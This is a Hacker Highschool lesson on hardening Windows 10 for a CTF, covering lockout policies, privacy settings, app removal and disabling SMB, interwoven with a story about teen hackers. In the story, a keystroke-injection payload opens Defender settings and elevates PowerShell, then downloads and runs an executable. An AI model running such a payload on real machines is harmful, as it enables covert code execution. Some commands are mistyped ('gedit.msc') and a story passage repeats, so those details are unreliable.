LESSON 14
DEFENDING WINDOWS 10
Lesson 14: Defending Windows 10

![Image]

**WARNING**

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Foreword

You’re convinced your that a Capture the Flag (CTF) is a worthy endeavor or at least something you should invest your time on beside picking your toenails. There are worse things you could do, like stealing hub caps or removing the “enter” key from any unattended keyboard you come across. CTFs can be lots of fun once you figure out a few items such as how to harden your system, how to plug some of the holes they deliberately install on your computer, or which is the best way to look cool while panicking on the inside.

Hacker Highschool is all about looking cool while having a complete mental breakdown on the inside. We are here to help because we’ve been down that path. We didn’t invent “panic”, but we know a bit about it due to all our years of working with computers and security. Microsoft Windows 10 has tons of improvements to ease the suffering of old operating system updates, system hardening, closing security gaps, and generally making users life better.

We hope you found this lesson by reading the previous lesson. If you didn’t, we highly recommend you step back and read Lesson 13 before you read this lesson. If you are one of those people who likes to read books backwards than by all means, start on the last page and good luck to you. Just curious though, if you are one of those backwards people, how do you eat? Do you wash the dishes then put the food on the plate? During holidays do you have to give everything back and not eat the holiday feast? What happens when you sneeze?

Sorry, went off the rails for a moment. Brushing your teeth must be quite the event, though. Sorry, sorry, no more.

Back to the lesson: Farting must be really painful backwards. We are done. Promise. No more backward jokes. None, zip, nada. What about fighting?

Hacker Highschool would like to formally apologize to the reader for the previous comments. The other writer has been reprimanded and replaced. He had one last question though, “if you garden backwards do you start with grown plants and slowly kill them?”.

This is not the way to start a normal cyber security lesson. Luckily, this isn’t your typical cyber security training; this is Hacker Highschool and we like to have fun. This is part two of Windows 10 and Capture the Flag (CTF) competitions. Luck good for all you backwards folks.
Introduction

You’ve made it to the first annual Cyber Parrot hack and defend CTF! So far so good. One of the nice things with Windows 10 is there are several ways to do something. There are the shortcuts, icons, settings, command prompt, and quick keys that open up different ways to perform actions. In this lesson we are going to show you several methods to speed up your CTF reaction time.

It wouldn’t be much fun if we just talked to you about some stuff so we are going to walk you thru most of this. As you move through each segment, consider which method you like the best. This is not “one size fits all” and you might like one way to do something but find a better way that is easier. Try them all.

The funny thing about “hands on” is that you actually have to put your hands on the keys and mouse to learn. The more you practice these skillz the better you will become.

We will demonstrate several ways to perform different methods to secure your machine. “How” and “what” you do is entirely your own choice and we are not providing a checklist that you check off. It will be up to you to determine which actions you will take when you are in a CTF. Think of this as a cookbook. We’ll show you how to bake a cake and which types of ingredients to blend but what kind of cake you make is your own choice.

Some of the funky ingredients for this CTF cake start with hardening the system beginning with the user settings followed by the system settings. This is a bit like making sure you have an oven to bake with, a bowl to mix stuff in, a table to work on, good lighting so you can see what you’re doing, and something to mix all the ingredients with.

Next, we need to make sure our cooking area is kinda clean by removing default built-in programs in the Win 10 cake and turn off stuff we don’t need. Who wants to eat a cake that was made in a dirty bowl or cluttered kitchen? Clear out all that junk, wipe down the table or counter, and make sure you have plenty of towels to clean up the mess you will be making later.

Ingredients for your cake depend entirely on what cake you want to bake. It could be chocolate, yellow, fruit, red velvet, carrot, upside-down cake, whatever your heart desires. At this point in our terrible analogy, it’s really about turning off or disabling lots of stuff in Windows 10. Which ones you turn off and/or disable are entirely up to you, like cake ingredients.

We will mix everything together (hopefully) in a bowl but also looking for malware in the mix. Even the best chefs in the world often find malware
lurking in their kitchen, in the pots & pans, in the back of the refrigerator, behind the oven, all kinds of places. We, too, must look for malware as we throw the cake batter into our preheated oven at 200 degrees Celsius for 35 minutes.

Our cake is baked as we turn on Windows 10 protection like the firewall, Windows Defender, and a few other controls. Yum, smell that cake as it cooks in your computer oven thing. It will rise as it bakes just as you will rise as your gain points in this CTF. Just don’t poke yourself with a toothpick. Use that toothpick on the cake to check if it’s done. Use protection like oven mitts to remove the cake from your oven.

We finally get to put our signature touch on the cake. In this baking situation, we will use BitsAdmin to make frosting for your cake. BitsAdmin will literally be the icing on your CTF cake. Yes we are aware that icing isn’t the same as frosting but let’s not ruin a good metaphor here.

So get to baking and enjoy not burning down the place.
Hardening

When we talk about hardening a system we usually mean a reduction, like how closing holes in a bucket lets it hold more water. You are reducing the holes in the bucket that are keeping the bucket from doing its bucket job. Now, Windows 10 systems come pretty secure out of the box when new but you’re not working with a brand new system. Also, Windows 10 workstations are designed for internal use (not networked or unnetworked or network unable or network challenged) and we know that this Cyber Parrot CTF will leave your system exposed to attackers on purpose. So, what we will be doing is removing unnecessary users, enforcing that everything and everyone has the lowest possible privileges they need to work, and that we don’t overly expose ourselves with unneeded services, open ports, or applications leaking information.

Exercises

This lesson is very, very, very hands on. Did we mention it’s all hands on? So, there will be no more numbered exercises after this point. Oh, but that’s because they are all exercises after this point. So, for each subsection follow what’s shown and explain what you did and why it was necessary. But most of all, be sure you can do as is shown. Sometimes, things change during updates so if you can’t do it exactly as it’s shown in the pictures that doesn’t mean it can’t be done. It just means you need to dig a bit deeper, search online, and ask your classmates how they did it. Remember, hackers turn every failure into an opportunity for learning (unless it involves pocket lint and Jell-O)!

1. User Account Control Hardening

Make a (new?) password for the current User Account:
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Settings > Accounts > Sign-in options

Make an Account Logout policy (does not work on Windows 10 Home edition, you'll need to do it through the registry with a registry editor and we don't recommend you messing with that yet):

Windows Key + R

gedit.msc

GroupPolicy

Computer Configuration\Windows Settings\ Security Settings\Account Logout Policy\

<table>
<thead>
<tr>
<th>Account lockout duration</th>
<th>10 minutes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account lockout threshold</td>
<td>5 invalid logon attempts</td>
</tr>
<tr>
<td>Reset account logout counter after</td>
<td>15 minutes</td>
</tr>
</tbody>
</table>
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### Prevent users from linking their local account to Microsoft Account

**Computer Configuration\Policies\Administrative Templates\Windows Components\Microsoft account**

<table>
<thead>
<tr>
<th>Policy</th>
<th>Security Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Block all consumer Microsoft account user authentication</td>
<td>Enabled</td>
</tr>
</tbody>
</table>

**Computer Configuration\Policies\Administrative Templates\Windows Components\OneDrive**

<table>
<thead>
<tr>
<th>Policy</th>
<th>Security Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Prevent the usage of OneDrive for file storage</td>
<td>Enabled</td>
</tr>
</tbody>
</table>

**Computer Configuration\Policies\Administrative Templates\Windows Components\OneDrive**

<table>
<thead>
<tr>
<th>Policy</th>
<th>Security Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accounts: Block Microsoft accounts</td>
<td>Users can’t add or log on with Microsoft accounts</td>
</tr>
</tbody>
</table>
Disable built-in Administrator and Guest accounts, if they are active.

Open a Run box (Windows key + R)

lusrmgr.msc
You can do it in Command Prompt as well with `net user`:

```
I:\Windows\system32>net user administrator /active:yes
The command completed successfully.

I:\Windows\system32>net user administrator /active:no
The command completed successfully.
```

Remove any unknown accounts.

If you see any accounts you don’t know in the user list they should be removed. For example, on this machine: we don’t need ‘QBDataServiceUser19’ because it’s for an application we no longer have or use. How do we know it’s for an Application? We searched online for that name and read a few places about it. (Pro Tip: never just use one source of information.)

2. Customized System Features

We customize all the default system features because if you don’t need them or use them they are potential leaks. This is really important during a CTF as any leaks from your system can be captured from the local network and exploited.
Accounts Privacy
Settings > Accounts > Sign-in options

Privacy
Show account details (e.g. email address) on sign-in screen
- Off

Use my sign-in info to automatically finish setting up my device and reopen my apps after an update or restart.
- Off

Privacy Windows Permissions
Settings > Privacy > General

General
Change privacy options

- Let apps use advertising ID to make ads more interesting to you based on your app usage (turning this off will reset your ID)
- Off

- Let websites provide locally relevant content by accessing my language list
- Off

- Let Windows track app launches to improve Start and search results
- Off

- Show me suggested content in the Settings app
- Off

Settings > Privacy > Speech, inking & typing

Speech, inking, & typing

Getting to know you

Use your voice to do things. We talk to Cortana or Store applications, and use your typing history and handwriting patterns to create a local user dictionary that makes better suggestions for you. If you turn this off, you can no longer speak to Cortana, and everything will be deleted from the dictionary Windows.

Turn off speech services and typing suggestions

View user dictionary
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Settings > Privacy > Diagnose & Feedback

Diagnostics & feedback

Diagnostic data

Choose how much data you send to Microsoft. Select Learn more for info on this setting, how Windows Defender SmartScreen works, and the related data transfers and uses.

- **Basic**: Send only info about your device, its settings and capabilities, and whether it is performing properly. Diagnostic data is used to help keep Windows secure and up to date, troubleshoot problems, and make product improvements. Regardless of whether you select Basic or Full, your device will be equally secure and will operate normally.

- **Full**: Send all Basic diagnostic data, along with info about the websites you browse and how you use apps and features, plus additional info about device health, device usage, and enhanced error reporting. Diagnostic data is used to help keep Windows secure and up to date, troubleshoot problems, and make product improvements. Regardless of whether you select Basic or Full, your device will be equally secure and will operate normally.

Feedback frequency

Windows should ask for my feedback

- **Never**

Give us feedback about the Feedback Hub survey notifications

Diagnostics & feedback

- **Off**

Tailored experiences

Let Microsoft offer you tailored experiences based on the diagnostic data setting you have chosen. Tailored experiences are personalized tips, ads, and recommendations that enhance Microsoft products and services for your needs.

- **Off**

Diagnostic data viewer

If data viewing is enabled, you can see your diagnostic data. While enabled, this will take up to 1GB of hard drive space.

- **Off**

Diagnostic Data Viewer
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Settings > Privacy > Activity history

Activity history
Jump back into what you were doing with apps, docs, or other activities, either on your PC or your phone.

- Let Windows collect my activities from this PC
- Let Windows sync my activities from this PC to the cloud

Review the Learn more and Privacy statement for info about activity history, what happens when you send your activity history to Microsoft, and how we respect your privacy.

Show activities from accounts
These are your accounts on this PC. Turn them on to hide their activities from your Timeline.

- stluthetman@gmail.com
  - Off

Clear activity history
Clear

Privacy Windows Permissions

Account info access

Allow apps to access your account info
If you allow access, you can choose which apps can access your name, picture, and other account info by using the settings on this page. Denying access blocks apps from accessing your account info.

- Off

Choose which apps can access your account info
Some apps need to access your account info to work as intended. Turning off an app here might limit what it can do.

- Email and accounts
  - Off
- Keeper
  - Off
- Microsoft Content
  - Off
- Microsoft Edge
  - Off
App Diagnostics

App diagnostics
Let apps access diagnostic information
☑ Off

Choose apps that can access diagnostic information about other apps

Some apps use diagnostic information from other apps on your device to run as intended. Diagnostic information may include the names of running apps, the user account name that launched an app, app memory, CPU, disk, and network usage. Preventing access to diagnostic information may limit what an app that uses that information can do.

Apps that need your permission to access diagnostic information from other apps are listed here. Go to the Store to get apps.

Backgrounds Apps

<table>
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<tr>
<th>Background apps</th>
</tr>
</thead>
<tbody>
<tr>
<td>Background Apps</td>
</tr>
<tr>
<td>Let apps run in the background</td>
</tr>
<tr>
<td>☑ Off</td>
</tr>
</tbody>
</table>

Choose which apps can run in the background

Choose which apps can receive info, send notifications, and stay up-to-date, even when you’re not using them. Turning background apps off can help conserve power.

<table>
<thead>
<tr>
<th>Apps</th>
<th>On/Off</th>
</tr>
</thead>
<tbody>
<tr>
<td>3D Builder</td>
<td>off</td>
</tr>
<tr>
<td>3D Viewer</td>
<td>off</td>
</tr>
<tr>
<td>Alarms &amp; Clock</td>
<td>off</td>
</tr>
<tr>
<td>Bubble Witch 3 Saga</td>
<td>off</td>
</tr>
<tr>
<td>Calculator</td>
<td>off</td>
</tr>
</tbody>
</table>
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Calendar

**Calendar access for this device**

- [ ] On
- [x] Off

**Allow apps to access your calendar**

If you allow access, you can choose which apps can access your calendar by using the settings on this page. Denying access blocks apps from accessing your calendar.

- [x] Off

**Choose which apps can access your calendar**

Some apps need to access your calendar to work as intended. Turning off an app here might limit what it can do. The following built-in apps always have access to your calendar: Mail and Calendar.

- Cortana
- [x] Off
- Mail and Calendar
- [x] Off
- People
- [x] Off

Call history

**Call history**

- [ ] On

**Allow access to call history on this device**

Using this device will be able to choose their call history by using the settings on this page. Denying access blocks apps from accessing your call history.

- [x] Off

**Allow apps to access your call history**

If you allow access, you can choose which apps can access your call history by using the settings on this page. Denying access blocks apps from accessing your call history.

- [x] Off

**Choose which apps can access your call history**

Some apps need to access your call history to work as intended. Turning off an app here might limit what it can do. The following built-in apps always have access to your call history: Phone.

- Cortana
- [x] Off
- Messaging
- [x] Off
- People
- [x] Off
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Contacts

Allow access to contacts on this device
Contacts access for this device:
- Off

Change

Allow apps to access your contacts
If you allow access, you can choose which apps can access your contacts by using the settings on this page. Denying access blocks apps from accessing your contacts.
- Off

Documents

Allow apps to access your documents library
If you allow access, you can choose which apps can access your documents library by using the settings on this page. Denying access blocks apps from accessing your documents library.
- On

Choose which apps can access your documents library
Some apps need to access your documents library to work as intended. Turning off an app here might limit what it can do.

- App Installer: Off
- Feedback Hub: Off
- OneNote: Off
- Voice Recorder: Off
- Windows Defender Security Center: On
Email

Allow apps to access your email
If you allow access, you can choose which apps can access your email by using the settings on this page. Denying access blocks apps from accessing your email.

File System

Allow access to the file system on this device
If you allow access, people using this device will be able to choose if their apps have access to all of their files—including their documents, pictures, videos, and local OneDrive files—by using the settings on this page. Denying access blocks apps from accessing any person’s files.

File system access for this device is on

Allow apps to access your file system
If you allow access, you can choose which apps can have access to all of your files—including your documents, pictures, videos, and local OneDrive files—by using the settings on this page. Denying access blocks apps from accessing your file system.

Off
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Messaging

Allow access to messaging on this device

Allow apps to read or send messages
If you allow access, you can choose which apps can read or send messages via text or MMS by using the settings on this page. Denying access blocks apps from reading or sending messages via text or MMS.

Microphone

Microphone for this device
If the microphone on this device will be able to choose for access by using the settings on this apps from accessing the microphone.

Change

Allow apps to access your microphone
If you allow access, you can choose which apps can access your microphone by using the settings on this page. Denying access only blocks apps from accessing your microphone. It does not block Windows.

Other devices
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Other devices

Communicate with unpaired devices
Let your apps automatically share and sync info with wireless devices that don’t explicitly pair with your PC, tablet, or phone.

Example: beacons
Choose apps that can communicate with devices

Other devices
Other devices that allow you to control app access will appear here.

Examples: Xbox One, TV, projectors

Pictures

Choose which apps can access your pictures library
Some apps need to access your pictures library to work as intended. Turning off an app here might limit what it can do. The following built-in apps always have access to your pictures library: Photos and Camera.

- 10 Viewer (off)
- Cortana (off)
- Feedback Hub (off)
- Keeper (off)
- Microsoft Edge (off)
- Paint 3D (off)
- Flex (off)
- Xbox (off)

Radios
Radios

Some apps use radios—like Bluetooth—to send and receive data. Sometimes, apps need to turn these radios on and off to work their magic.

Let apps control radios

Choose apps that can control radios

Apps that need your permission to control your radios will appear here. Go to the Store to get apps.

Tasks

Allow access to tasks on this device

Using this device will be able to choose their tasks by using the settings on this device. Apps from accessing any persona’s task is off.

Change

Allow apps to access your tasks

If you allow access, you can choose which apps can access your tasks by using the settings on this page. Denying access blocks apps from accessing your tasks.

Choose which apps can access your tasks

Some apps need to access your tasks to work as intended. Turning off an app here might limit what it can do. The following built-in apps always have access to your tasks: Mail and Calendar.
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Videos

Videos library by using the settings on this page. If you deny access, apps that are available in the Microsoft Store on Windows 10 will be blocked from accessing your videos library.

Choose which apps can access your videos library

Some apps need to access your videos library to work as intended. Turning off an app here might limit what it can do. The following built-in app always has access to your videos library: Photos.

- 3D Viewer: Off
- Camera: Off
- Keeper: Off
- Movies & TV: On

Location

Choose apps that can use your precise location

- 3D Viewer: Off
- Camera: Off
- Cortana: Location history must be on for Cortana to work
- Disney Magic Kingdoms: Off
- Mail and Calendar: Off
- Maps: Off
- Microsoft Edge: Sites still need permission
- Microsoft News: Off
- Skype: Off
- Weather: Off
Game On: Summer of Grief – Part 5

Jace paid no attention to the chatting, sniffing, rustling, and screeching, or whatever noises other teens at the CTF made around her. She was in the zone.

Using the mouse, Jace shifted her attention to this file and viewed it in hex format. Her mind deciphered the code in the right-hand column. She remembered her grandfather explaining how hexadecimal works in values of sixteen. The math wasn’t particularly hard, just required concentration. “On-off,” she said to herself as she read off the code.

As she visualized the code her voice uttered,

```
"DELAY 2000
ESCAPE
DELAY 100
CONTROL ESCAPE
DELAY 100
STRING Windows Defender Settings
ENTER
DELAY 2000
TAB
DELAY 50
ALT F4
DELAY 3200
GUI a
DELAY 500
ENTER
DELAY 100
GUI a
DELAY 1000
GUI r
DELAY 200
```
Lehua stood up from the chair as if to give her fellow hacker more room. Crack. Autopsy stopped. Kali halted. Everyone’s eye grew large, in shock, not sure what just happened. Lehua apologized, “I’m so sorry. I think I just broke your USB stick”. Jace and the other teammates looked down and saw the one half of the USB drive still in the USB slot and the other half on the ground.

Unphased, Jace replied, “the first set of commands shut off Windows Defender and the second part opened up Powershell to execute two files in the background, I think. Why would they shut off Windows Defender if we hadn’t even turned it on yet? I also don’t see how they did all this without admin rights.”

Tapping Jace on her thigh, Lehua repeated, “I said I think I broke your USB stick. I’m sorry. I get clumsy a lot.”

Focusing on the frozen screen, Jace didn’t respond. She rubbed her thin fingers together as if they were cold and needed to be warmed up.

Lehua tapped Jace on her shoulder and said, “How bout this, I saw you get dropped off by a cop so why don’t you hunt down the USB dude who installed this thing and I’ll clean up the mess here. Take the team captain with you, please.” Jace read the compliment in that statement and noticed how tight her shoulders were, she was tense. The compliment caused her to relax a bit and lower her defenses slightly, enough to be rational about this new task.

Before heading into the crowd Jace turned back towards Lehua and asked, “hey, what’s your handle? We need to talk sometime.”

Without looking up from the floor, the hacker replied “n1ghT, your’s”. Jace replied back, “m33r”. They went back to their tasks, smiling ever so slightly at the connection between them.

```powershell
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 1000
ALT y
DELAY 200
STRING $down = New-Object System.Net.WebClient; $url = 'collect.exe'; $file = 'transmit.exe'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.ShellExecute($file); exit;
```

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Tapping Jace on her thigh, Lehua repeated, “I said I think I broke your USB stick. I’m sorry. I get clumsy a lot.”

Focusing on the frozen screen, Jace didn’t respond. She rubbed her thin fingers together as if they were cold and needed to be warmed up.

Lehua tapped Jace on her shoulder and said, “How bout this, I saw you get dropped off by a cop so why don’t you hunt down the USB dude who installed this thing and I’ll clean up the mess here. Take the team captain with you, please.” Jace read the compliment in that statement and noticed how tight her shoulders were, she was tense. The compliment caused her to relax a bit and lower her defenses slightly, enough to be rational about this new task.

Before heading into the crowd Jace turned back towards Lehua and asked, “hey, what’s your handle? We need to talk sometime.”

Without looking up from the floor, the hacker replied “n1ghT, your’s”. Jace replied back, “m33r”. They went back to their tasks, smiling ever so slightly at the connection between them.
Within a few seconds of standing up Jace felt her bladder rumbling like a beat-up punching bag. Her typical walking strides were limited to short steps. The teen turned towards the team captain and said, “I gotta hit the potty.” Not waiting on a reply, Jace moved towards the “restroom” sign in the hallway. Her male companion followed her with a bit of distance but not too far away, so, he didn’t lose her in the crowd. As soon as they both spotted the bathroom door sign he stopped and rested himself against the closest wall. Jace flung open the restroom door as the aroma of bleach and sanitizer hit her narrow nose. Being Jace, she chose the stall furthest from the entrance door and settled into for the business at hand.

Her head was filled with ideas on how to approach the attacker, if they found him at all. Jace checked her fingernails as a nervous habit, not out of concern for her looks but more to focus on something besides the ugly green stall door. The hacker looked at the door as a physical security interest. This door wasn’t meant for any kind of protection or anything other than a bit of privacy. Some little scratches on the paint reminded her of an old car, one that needed a paint job decades ago. The chrome door hinges caught her attention. “What a waste of good chrome,” she thought to herself.

Almost finished, she reached for the toilet paper and stopped. The bottom door hinge was held on by special bolts, shiny bolts that only turned in one direction to keep people from stealing the door or something. Jace looked at the last bolt on the bottom hinge and saw it was slightly different from the other bolts. It wasn’t shiny like the other door bolts. Jace wiped herself and leaned towards the different bolt. Tapping the bolt with her index finger, Jace didn’t hear the metallic sound she expected to hear. Instead, the bolt sounded like plastic. She tapped on the other two higher bolts and heard the metal sound she expected.

She dressed herself and then leaned down to examine the odd bolt. It appeared to be a cover for something, disguised as a bolt but not an exact match. Using her fingernail, Jace was able to get the plastic cover to lift up a bit. Moving her fingers around the outside of the cover, she was able to slowly pry the cover off. The hacker almost fell over when the cover landed to the ground. Behind the cover was a lens, a camera lens.

Frantic, scared, Jace started to panic, started to scream, to cuss, to bang her fists. Her eyes glared with rage at the camera lens as tears dripped down her cheeks. Violated, betrayed, exposed, the teen was becoming angry. She let out a towering yell of emotion that echoed around the tiled bathroom walls. Knowing she had to protect herself, she sat back on the toilet seat to think. “Why did, how could, I didn’t, who did this,” thoughts
jumbled through her head like an upside-down dumpster unloading its trash as incomplete parts of rubbish. Angry, the teen kicked the door with the bottom of her left foot doing very little damage to the metal gate.

The camera dislodged from the hinge with two wires still connected to the board, red and black.

Jace thought, “red and black, positive and negative. Those must be the power connectors. But how does this thing work?” She pulled on the camera just enough to see the camera and the processing board. She noticed an ESP 32 chip soldered on the board. “WiFi,” Jace said aloud. “This sends the data using WiFi but where does the signal go,” she questioned herself.

She reached into her back pocket and pulled out her old cracked cellphone. Entering her phone pin, the hacker went straight to “settings” and turned on her WiFi to scan for nearby devices. Several access points (APs) and stations began to populate her screen of available networks.

Game continues...

3. Remove Default Built-in Programs

There are many built-in programs in Microsoft that we never use. It’s always better to remove them if we don’t use them or they are unnecessary. If you ever decide you want them it’s easy to add them, again. But for now, every application that’s there is a potential attack vector to you.

For this we’ll be using Powershell. Remember how we told you Powershell could be dangerous? Like any tool it’s also, useful. Think of it like Uranium ore in Windows 10; a lot of potential energy to be refined for both good and evil.

Here’s the Powershell command to uninstall the built-in programs:
Get-AppxPackage *programname* | Remove-AppxPackage
4. Turn Off Unnecessary Services

Check the currently running processes and kill the unnecessary services and remove unnecessary programs in the startup list. We use process explorer to see details of the running processes, DEP, ASLR status and TCP Views to know which ports are being used by the programs. In the following example we killed the process and disabled the service of the program named QBDBMngrN which is not protected with DEP, ASLR.
5. Disable Default files and folders sharing and Anonymous Logon

Right Click on “This PC” → “Manage”. In the “Computer Management” console > “Share Folders” > share. Right-click on the Default “Share Folders” and choose “Stop Sharing”.

![Image of process management and share folder settings]
You can also do this by creating a “DWORD” value in the registry and using batch command. Back up the registry before making any changes to it. Trust us, we’ve made that mistake too many times.

Go to:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lanman Server\ > Parameters. Create DWORD 32 and set the value to “1”.

REG ADD:
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /F /v AutoShareWks /t REG_DWORD /d 0
6. Disable SMB Sharing

SMB v1 is globally known to be vulnerable to Eternal Blue and must be disabled. As should any other versions of SMB is not needed or used.

To disable SMB v1 in the GUI: type ‘appwiz.cpl’ in “Run” Box and Press on “Turn Windows Feature on or off” and remove the check from SMB 1.0/CIFS Sharing Support.

To examine and Disable SMBv1 in Powershell

Get-WindowsOptionalFeature -Online –FeatureName SMB1Protocol

Disable-WindowsOptionalFeature -Online –FeatureName SMB1Protocol
Lesson 14: Defending Windows 10

Enable-WindowsOptionalFeature -Online -Feature SMB1Protocol

To check and Disable SMB v2 in Powershell

Get-SmbServerConfiguration | Select EnableSMB2Protocol

Set-SmbServerConfiguration -EnableSMB2Protocol $false

Set-SmbServerConfiguration -EnableSMB2Protocol $true

PS C:\WINDOWS\system32> Get-SmbServerConfiguration | Select EnableSMB2Protocol
EnableSMB2Protocol
---------------------------
True

PS C:\WINDOWS\system32> Set-SmbServerConfiguration -EnableSMB2Protocol $false
PS C:\WINDOWS\system32>
Confirm
Are you sure you want to perform this action?
Performing operation 'Modify' on Target 'SMB Server Configuration'.
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "Y"): Y
PS C:\WINDOWS\system32> Get-SmbServerConfiguration | Select EnableSMB2Protocol
EnableSMB2Protocol
---------------------------
False
“Meer, you okay in there.”

The teen scrolled through the different connections, excluding all those that belonged to people walking around with their cell phone WiFi turned on. One connection seemed to be for the competition scoring system, because its SSID was surprisingly named “competition scoring”. Jace almost laughed at the thought of, “so much for security through obscurity.” The humor in this idea broke her anger and gave her a second to take a deep breath.

“Hello, Meer, is everything cool in there,” the team captain yelled through the restroom entrance making sure he wasn’t looking into the lady’s room as he spoke.

Jace snapped back to reality and yelled back, “no I’m not fricken okay. Come in here. I want someone to witness this.”

“Is this like a women’s hygiene thing, cus if it is, I’m not ready to see it.”

“Just get in here, now! Last stall. Get your camera ready.”

“I…. I’m not comfortable with this.”

“NOW!,” Jace hollered loud enough that her voice rolled down the hallway toward the open civic center.

Covering his eyes, the beefy team captain used his arms to feel his way into the bathroom. He took little steps as if he were going to step on red hot coals at any second. “You can uncover your eyes. I’m dressed and there is nothing that is going to scar you, forever. It’s just a restroom,” Jace calmed herself as she brought her male companion into the sacred women’s bathroom.

Peeking through his fingers, he tested his scenery to make sure this wasn’t some sort of weird trick she was playing. He asked, “What is going on? You’ve been in here for a while and I thought I heard a scream a few seconds ago.”

“Come in here, take a look at this,” Jace yelled back.

His voice returned, “umm, I’m not supposed to be..”

“Just get in here, please,” Jace cut him off.
With cautious steps he approached Jace just as she came out of the bathroom stall. He looked directly at the female teen and said, “I’m Amad, by the way.”

Jace cocked her head unsure of what to reply. “Yea, I see your name tag says that but it’s pronounced..”

This time Amad cut Jace off,” It’s spelled like this but we pronounce the ‘A’ with a ‘ack’ sound. Think of ‘awkward medication’. ‘Ack-med.‘

“Cool,” Jace replied.

“I’m from Afghanistan. My parents came here..” He was cut off again by the impatient teen.

“Great, but let’s talk later, k,” She said. Jace noticed his eyes were not the typical relaxed and unconcerned eyes of a teen. He appeared on edge, much like Jace was. She noticed his eyes were brown like her own but they had a green tint. She watched as he considered his surroundings, evaluated the entry and exit points, the doors, the windows, the floor drain. He seemed like a person who did not have an easy life. His hands stood by his side close to his body but far enough away to react if anything came near him. Jace pictured Amad as a street fighter due to his size and muscle build. She did not see any scars on his knuckles but noticed two deep scars on his dark forehead and neck. Jace felt more comfortable with people who showed some type of battle damage. Amad carried himself as if he were prepared for anything- shoes resting on the balls of his feet, eyes scanning the area, arms relaxed but ready, and hands in front of his body.

“This is what I need you to do, just go into that stall I was in, close the door and look at the hinges that the door is mounted on,” Jace used her hands a bit too much explaining her actions.

“Is this a joke or something,” Amad asked without a smile. Jace noticed his smile earlier but he wasn’t smiling now. He was concerned and prepared.

“Just do it, please,” she almost pleaded.

The teen walked behind Jace and moved into the bathroom stall. As he closed the stall door he asked, “Is that what I think it is.”

“Yup, a wireless camera,” Jace replied, happy that he was intelligent and not bad to look at.

“Oh, did you put that in here.”

“Of course not, that is why I screamed. I noticed the lens of the camera while I was on the potty. Don’t pull it out or touch it.”
“Too late, I pulled it out,”

Jace banged on the door, “put it back.”

“I was kidding. Relax a bit. We need call the police, though,” Amad replied as he opened up the stall door to face Jace.

“It may not be that simple for me since we don’t know who put these cameras in here,” Jace replied.

Amad bit the inside of his mouth and said, “I don’t think there is anything ‘simple’ about you.”

Understanding the compliment, Jace smiled.

Realizing his error, he quickly added, “I’m not who you think I am.”

Jace shrugged her shoulder and said,” We do have a lot in common because I’m not who you think I am either. Wait, that came out wrong. What I meant to say was..”

“It’s okay. I knew you were different the second you showed up at our table. It’s just my family wouldn’t approve.”

“Approve of what? We’re just talking aren’t we. It’s not like you’re asking me out or anything,” Jace tried to play off her building crush on Amad. “Let’s just change subjects.”

Amad seemed relieved at being let off the hook, “How about you call the police, just stay here and I’ll go find the USB guy myself. We’ll meet back at the computer table.”

Jace nodded her head with approval and reached for her cell phone. Officer Hank’s phone number was already in her ‘recent’ phone listing. The phone rang twice before it was answered.

“What’s up Jace? What do you need?”

“I need you to come here right now, like ‘here’ now. Somebody planted a camera in the women’s bathroom at the civic center. I found it and need you to do your police-thing,” Jace replied fully expecting Hank to stop what he was doing and come see this crime immediately.

“Sorry Jace, but I’m in the middle of an arrest right now. I can come in a few minutes, maybe an hour,” Hank answered with muffled sounds in the background. “Call the local police for that city. They can respond much quicker.”
“Okay, I’ll call the police here, but I still would like you to come and see this for yourself. Thanks for asking, but I AM NOT ENJOYING THIS,” Jace said making sure her anger was broadcast through the cellular phone system.

“Got it, no need to get loud. I’ll be there soon. Just hold tight,” Hank replied as he ended the call.

The teen hacker let out a deep breath as if she hadn’t let out any air in minutes. She typed in the local emergency phone number, explained to the dispatch lady (who sounded as if she was just woken up), what was happening, who she was, and where she was over the phone. She was assured the police would be there momentarily and told to just wait. “Don’t do anything, just wait for the police to arrive.”

“Waiting in the bathroom, oh what fun,” the teen hacker thought to herself as she tried to figure out her next course of action (or rather how to entertain herself until the police arrived). She explored each bathroom stall to confirm how many had hidden cameras. Each stall had one camera; all mounted in the lower door hinge.

An older women’s voice came through the bathroom door, “Is anyone in here?”

Jace thought, “What an odd thing to ask.”

“Yup, I’m in here. Come on in but I have to warn you..” Jace was cut off

The door sprung open with two older women, two men in suits, and two police officers entering in one after another. The first women in the pink and yellow flower dress asked, “Are you with Team Cougar?”

“Yes, and I’m sure happy to see you came so quickly after my call,” Jace acknowledged.

“Are you Jace and did you use a USB drive on a competition computer,” came the next question from the man in the awful gray striped suit.

Jace replied, “Yeah, I’m Jace and I needed that USB stick to reboot the computer that had been attacked.”

All six adults closed in on the teen, encircling her as the tile echoed their accusatory voices. With raised eyebrows Jace asked, “What are you talking about? Somebody put hidden cameras in the bathroom...”

Cut off again, three of the adults chimed in, “Competition rules do not allow use of unauthorized operating systems. Your whole team is disqualified for hacking. Hacking is illegal so we brought the police here to arrest you.”
The teen protested, “but somebody attacked our machine and hacking isn’t illegal either. Besides that, someone put hidden cameras...”

They refused to let Jace finish talking or listen to her.

One of the women smiled as she said, “you will be escorted off this premises and we will file charges against you and your whole Cougar Team for hacking.”

Not waiting for things to escalate higher, Jace opened her phone to contact Officer Hank.

The voice on the other end of the phone said, “I told you I’m busy. I’ll be there in a few minutes.”

Jace whispered with cupped hands over the microphone, “I need you here NOW. They are going to arrest me for some made up stuff.”

Hank signed, “What did you do this time, Jace.”

“I didn’t do anything wrong, just get here now or talk to one of the police officers standing in front of me. They need to know about the hidden cameras in the bathroom,” Jace said.

Jace did as Hank asked and handed her phone to the senior of the two police officers; the guy with the most stripes on his shoulder sleeve.

The police officer took her phone with surprise and then turned his back to the angry group of adults to speak with Hank with a bit of privacy.

The adults seemed pleased with themselves for attacking Jace with charges of hacking. Not waiting for their turn, they overlapped in their accusations against Jace. The irony in all of this exploded inside of the teens mind. Jace started laughing and laughing hard. Her laughter did not help the situation as they grabbed her by her right arm and pulled her out of the bathroom, down the hall, and out to the front entrance. Jace laughed the entire time.

